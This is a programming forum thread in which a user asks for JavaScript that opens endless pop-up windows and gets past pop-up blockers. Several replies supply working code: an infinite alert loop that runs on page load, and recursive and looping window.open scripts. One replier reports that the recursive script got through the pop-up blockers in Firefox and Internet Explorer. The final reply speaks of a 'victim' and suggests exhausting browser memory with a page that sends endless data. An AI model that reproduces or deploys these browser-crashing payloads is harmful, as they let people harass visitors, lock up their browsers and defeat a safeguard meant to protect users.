basic js
Hi, I'm trying to set up a script that creates a simple button, when clicked, open an infinite amount of pop-up windows
<html>
<head>
<script type="text/javascript">
function timedDeath()
{
window.open('','mywindow','height=800, width=1280');
var t = setTimeout("timedDeath()", 10);
}
</script>
<body>
<FORM>
<INPUT type="button" value="Click Here!" onClick="timedDeath()" onblur>
</FORM>
</body>
</html>
although successful, it gets blocked by a pop-up blocker. After some readings, I found out that functions called by the script, not the user itself through clicking and such, gets blocked by pop-up blocker. So, I try to change this line
var t = setTimeout("timedDeath()", 10);
to
var t = setTimeout("window.open()", 1000);
but the browser simply hangs although I ask it to wait before executing that function.. Any suggestion? Thanks
Try something other than a button. Put an "onload" event handler in the body of the document. If you are simply trying to get the browser to close down why not use the "alert-box-of-doom"?
Ex:
<head>
<script type="text/javascript">
function alertOfDoom() {
while(1) {
alert("Whatever nonsense to display");
}
}
</script>
</head>
<body onload="alertOfDoom()">
...
</body>
</html>
I would also suggest taking out the "onblur" event handler in your button tag code since it doesn't appear to have any kind of event tied to it.
If you are simply trying to get the browser to close down why not use the "alert-box-of-doom
I already know on how to open infinite amount of pop-up boxes, but I'm still not sure on how to do so for opening window.
ups, sorry, not
markupvar t = setTimeout("window.open()", 1000);
but
markupvar t = while(1){setTimeout("window.open()", 1000);}
Perhaps this is more what you're looking for:
<html>
<head>
<script type="text/javascript">
function timedDeath()
{
window.open('','','height=800, width=1280');
while(1) {
timedDeath();
}
}
</script>
<body>
<FORM>
<INPUT type="button" value="Click Here!" onclick="timedDeath()">
</FORM>
</body>
</html>
My pop-up blocker failed to stop the onslaught after clicking the button for both Firefox and Internet Explorer.
<html>
<head>
<script type="text/javascript">
function timedDeath()
{
window.open('','','height=800, width=1280');
while(1) {
timedDeath();
}
}
</script>
<body>
<FORM>
<INPUT type="button" value="Click Here!" onclick="timedDeath()">
</FORM>
</body>
</html>
Recursion is slow. You might get better results if you just do it in a while loop like this:
{
window.open('','','height=800, width=1280');
}```
What exactly is the result you're looking for? Do you want the browser to exhaust memory and close? Or do you just want the victim to be annoyed by the barrage of pop-ups? If it's the first case I would suggest a different tactic other than using javascript, since the user can disable it. Perhaps have the button take the user to a page that sends infinite information. I can't even tell you how many times I crashed my browser due to improperly coded loops when I was learning to program PHP.